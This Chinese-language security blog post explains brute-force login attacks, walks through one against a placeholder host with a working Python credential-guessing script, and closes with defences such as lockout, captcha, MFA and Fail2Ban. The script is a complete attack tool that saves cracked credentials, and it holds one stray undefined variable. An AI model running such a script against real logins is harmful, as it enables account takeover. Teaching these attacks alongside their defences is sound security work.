前端安全問題——暴破登入

2023-03-20 12:03:01

前端安全問題——暴破登入

宣告:本文僅供學習和研究用途,請勿用作違法犯罪之事,若違反則與本人無關。

暴力破解登入是一種常見的前端安全問題,屬於未授權存取安全問題的一種,攻擊者嘗試使用不同的使用者名稱和密碼組合來登入到受害者的賬戶,直到找到正確的使用者名稱和密碼組合為止。攻擊者可以使用自動化工具,如字典攻擊、暴力攻擊等來加快攻擊速度。這種攻擊通常針對使用者使用弱密碼、沒有啟用多因素身份驗證等情況。

一、發現問題

常見情況

Web 應用的登入認證模組容易被爆破登入的情況有很多,以下是一些常見的情況:

  1. 弱密碼:如果使用者的密碼過於簡單,容易被爆破猜解,例如使用常見的密碼或者數位組合,或者密碼長度太短。

  2. 沒有賬戶鎖定機制:如果網站沒有設定賬戶鎖定機制,在多次登入失敗後不對賬戶進行鎖定,攻擊者可以繼續嘗試爆破登入。

  3. 未加密傳輸:如果使用者在登入時使用的是未加密的 HTTP 協定進行傳輸,攻擊者可以通過網路抓包等方式獲取使用者的賬戶名和密碼,從而進行爆破登入。

  4. 沒有 IP 地址鎖定:如果網站沒有設定 IP 地址鎖定機制,在多次登入失敗後不對 IP 地址進行鎖定,攻擊者無限制的繼續嘗試爆破登入。

  5. 沒有輸入驗證碼:如果網站沒有輸入驗證碼的機制,在多次登入失敗後不要求使用者輸入驗證碼,攻擊者可以通過自動化程式進行爆破登入。

  6. 使用預設賬戶名和密碼:如果網站的管理員或使用者使用了預設的賬戶名和密碼,攻擊者可以通過列舉預設賬戶名和密碼的方式進行爆破登入。

常用工具

為了檢測 Web 應用的登入認證模組是否存在爆破登入漏洞,可以使用以下工具:

  1. Burp Suite:Burp Suite 是一款常用的 Web 應用程式安全測試工具,其中包含了許多模組和外掛,可用於檢測網站的登入認證模組是否存在爆破登入漏洞。

  2. OWASP ZAP:OWASP ZAP 是一個免費的 Web 應用程式安全測試工具,可以用於檢測登入認證模組的安全性,並提供一系列的攻擊模擬工具。

需要注意的是,這些工具只應用於測試和評估自己的 Web 應用程式,而不應用於攻擊他人的 Web 應用程式。

二、分析問題

對目標 Web 應用進行爆破登入攻擊範例:

1. 通過 Google Chrome 開發者工具檢視登入請求介面地址、請求引數和響應資料等資訊

可以在登入介面隨意輸入一個賬號和密碼,然後點選登入,即可在開發者工具的網路面板檢視登入介面相關資訊。

  • 請求地址:

    由圖可知,應用使用的是 HTTP 協定,而不是更安全的 HTTPS 協定。

  • 請求引數:

    由圖可知,登入介面的請求引數使用者名稱和密碼用的都是明文。

  • 響應資料:

2. 構建目標 Web 應用 URL 字典、賬號字典和密碼字典

  • URL 字典 url.txt:

    http://123.123.123.123:1234/
    
  • 賬號字典 usr.txt

    admin
    

    admin 是很多 Web 後端管理應用常用的管理員預設賬號。

  • 密碼字典 pwd.txt:

    1234
    12345
    123456
    

    密碼字典是三個被常用的弱密碼。

3. 暴力破解登入程式碼範例

Python 指令碼程式碼範例:

from io import TextIOWrapper
import json
import logging
import os
import time
import requests
from requests.adapters import HTTPAdapter

g_input_path = './brute_force_login/input/'
g_output_path = './brute_force_login/output/'

def log():
    # 建立紀錄檔檔案存放資料夾
    root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    log_dir = os.path.join(root_dir,  'logs', 'brute_force_login')

    if not os.path.exists(log_dir):
        os.mkdir(log_dir)

    # 建立一個紀錄檔器
    logger = logging.getLogger("logger")

    # 設定紀錄檔輸出的最低等級,低於當前等級則會被忽略
    logger.setLevel(logging.INFO)

    # 建立處理器:sh為控制檯處理器,fh為檔案處理器
    sh = logging.StreamHandler()

    # 建立處理器:sh為控制檯處理器,fh為檔案處理器,log_file為紀錄檔存放的資料夾
    log_file = os.path.join(log_dir, "{}.log".format(
        time.strftime("%Y-%m-%d", time.localtime())))
    fh = logging.FileHandler(log_file, encoding="UTF-8")

    # 建立格式器,並將sh,fh設定對應的格式
    formator = logging.Formatter(
        fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")

    sh.setFormatter(formator)
    fh.setFormatter(formator)

    # 將處理器,新增至紀錄檔器中
    logger.addHandler(sh)
    logger.addHandler(fh)

    return logger

globalLogger = log()

def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
    # 請求頭
    headers = {
        "content-type": "application/json",
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
    }

    if authorizationBase64Str != '':
        headers['Authorization'] = 'Basic ' + authorizationBase64Str

    proxies = {}
    if proxyIpPort != "localhost":
        proxies = {
            "http": "http://" + proxyIpPort,
            "https": "http://" + proxyIpPort
        }

    try:
        s = requests.Session()
        # 設定請求超時重試
        s.mount('http://', HTTPAdapter(max_retries=1))
        s.mount('https://', HTTPAdapter(max_retries=1))

        response = None
        # 構造傳送請求
        if method == 'get':
            response = s.get(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        elif method == 'post':
            response = s.post(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        else:
            globalLogger.warning("Request Method Invalid")
            return 'RequestException'
        # 響應資料
        globalLogger.info(
            "MyRequest Request ResponseText:\n {}".format(response.text))
        return response.text
    except requests.exceptions.RequestException as e:
        globalLogger.warning("RequestException: {}".format(e))
        return 'RequestException'


def getStrListFromFile(fileContent: TextIOWrapper):
    return fileContent.read().rstrip('\n').replace('\n', ';').split(';')


def attackTargetSite(url: str, usr: str, pwd: str):
    reStr = 'FAIL'

    fullUrl = url + 'webapp/web/login'
    globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))

    reqData = {
        "name": usr,
        "password": pwd
    }

    resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))

    if '"status":200' in resp:
        reStr = 'SUCCESS'
    elif 'RequestException' in resp:
        reStr = 'RequestException'

    return reStr

def attack():
    try:
        input_path = g_input_path

        # 讀取url檔案
        input_url_filename = 'url.txt'
        urlFileContent = open(os.path.join(
            input_path, input_url_filename), 'r')
        url_list = getStrListFromFile(urlFileContent)

        # 讀取使用者名稱字典檔案
        input_usr_filename = 'usr.txt'
        usrFileContent = open(os.path.join(
            input_path, input_usr_filename), 'r')
        usr_list = getStrListFromFile(usrFileContent)

        # 讀取密碼字典檔案
        input_pwd_filename = 'pwd.txt'
        pwdFileContent = open(os.path.join(
            input_path, input_pwd_filename), 'r')
        pwd_list = getStrListFromFile(pwdFileContent)

        # 輸出檔案路徑及名稱
        output_path = g_output_path
        output_hacked_url = 'hackedUrlAndPwd.txt'

        with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
            i = 0
            for url in url_list:
                i += 1
                j = 0
                for usr in usr_list:
                    j += 1
                    resp = 'FAIL'
                    k = 0
                    for pwd in pwd_list:
                        k += 1
                        resp = attackTargetSite(url, usr, pwd)
                        if resp == 'SUCCESS':
                            output_file.write(url + '\n')
                            output_file.write('{}:{}\n'.format(usr, pwd))
                            # 資料實時寫入檔案(無緩衝寫入)
                            output_file.flush()

                            pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        elif 'RequestException' in resp:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        else:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                    if resp == 'SUCCESS':
                        break
                    elif 'RequestException' in resp:
                        break

    finally:
        if urlFileContent:
            urlFileContent.close()
        if usrFileContent:
            usrFileContent.close()
        if pwdFileContent:
            pwdFileContent.close()
        if pipFileContent:
            pipFileContent.close()

attack()

上述 Python 程式碼中匯入了 io、json、logging、os、time 和 requests 模組。 log 函數用於設定紀錄檔檔案的路徑和格式,以及建立紀錄檔記錄器,並返回該記錄器。 myRequest 函數用於傳送 HTTP 請求,並返回響應文字。函數 attackTargetSite 用於攻擊目標網站的登入頁面。最後,函數 attack 讀取 url.txt、usr.txt 和 pwd.txt 檔案,以此作為引數進行攻擊,並將破解的網站和密碼儲存到 hackedUrlAndPwd.txt 檔案中。

成功破解的目標站點將 URL、賬號和密碼儲存到 hackedUrlAndPwd.txt 檔案中,如:

http://123.123.123.123:1234/
admin:1234

其中, http://123.123.123.123:1234/ 為目標 Web 應用站點的 URL,admin 為賬號,1234 為密碼。

三、解決問題

防範措施

以下是一些預防暴力破解登入的措施:

  1. 強制密碼複雜度:應用程式應該強制使用者使用複雜的密碼,如包含數位、字母和符號,並設定密碼最小長度限制,以減少暴力破解的成功率。

  2. 鎖定賬戶:應用程式應該有一個策略來鎖定使用者賬戶,例如,如果使用者連續多次輸入錯誤的密碼,應該鎖定賬戶一段時間,以減少暴力破解攻擊的成功率。

  3. 安全加密:密碼應該使用安全的加密方式進行儲存,以防止攻擊者獲取敏感資訊。開發人員應該使用強密碼雜湊演演算法,並對雜湊值使用鹽進行加密,從而增加破解難度。

  4. IP 地址鎖定:設定 IP 地址鎖定機制,在多次登入失敗後對 IP 地址進行鎖定,增加攻擊者的攻擊成本,當然,攻擊者也是可以通過更換代理 IP 的方式繼續嘗試爆破登入。

  5. 新增驗證碼:新增驗證碼是一種簡單而有效的防止暴力破解登入的方法。在登入介面新增驗證碼,可以有效地防止自動化工具的攻擊。

  6. 檢查 IP 地址:可以在使用者登入時記錄使用者的 IP 地址,並在未授權的 IP 地址嘗試登入時觸發警報或阻止登入。

  7. 多因素身份驗證:多因素身份驗證是一種額外的安全層,通過使用至少兩種身份驗證因素來驗證使用者的身份,增加攻擊者成功攻擊的難度。通常,多因素身份驗證會結合密碼和另一種身份驗證因素,如簡訊驗證碼、郵件驗證、令牌等。

  8. 加強紀錄檔監控:開發人員應該在應用程式中記錄關鍵事件和操作,並實時監控和分析紀錄檔,以發現潛在的安全威脅。

防禦工具

以下是一些應對暴力破解登入的常用工具:

  1. Wireshark:Wireshark 是一個免費的網路協定分析工具,可以用於監視和分析網路封包。通過使用 Wireshark,可以捕獲網站登入認證過程中的網路封包,以檢查是否存在攻擊者使用的爆破攻擊模式。

  2. Fail2Ban:Fail2Ban 是一個安全性程式,可用於防止惡意爆破登入行為。它使用規則來檢測多個失敗登入嘗試,並暫時禁止來自相同 IP 地址的任何進一步嘗試。通過 Fail2Ban,可以檢查網站是否已經採取措施來保護登入認證模組免受暴力破解攻擊。

  3. Web Application Firewall(WAF):Web 應用程式防火牆是一種用於保護 Web 應用程式的安全性的網路安全控制器。WAF 可以檢測和阻止惡意的登入嘗試,並提供實時保護。通過使用 WAF,可以檢查網站是否已經採取措施來保護登入認證模組免受暴力破解攻擊。

  4. Log File Analyzer:紀錄檔檔案分析工具可以用於分析網站紀錄檔檔案,以確定是否存在任何異常登入嘗試。通過分析登入活動的紀錄檔,可以發現任何爆破攻擊的痕跡,並識別攻擊者的 IP 地址。

需要注意的是,這些工具僅應用於測試和評估自己的 Web 應用程式,而不應用於攻擊他人的 Web 應用程式。在進行安全測試時,應獲得相關方的授權和許可,並遵循合適的安全測試流程和規範。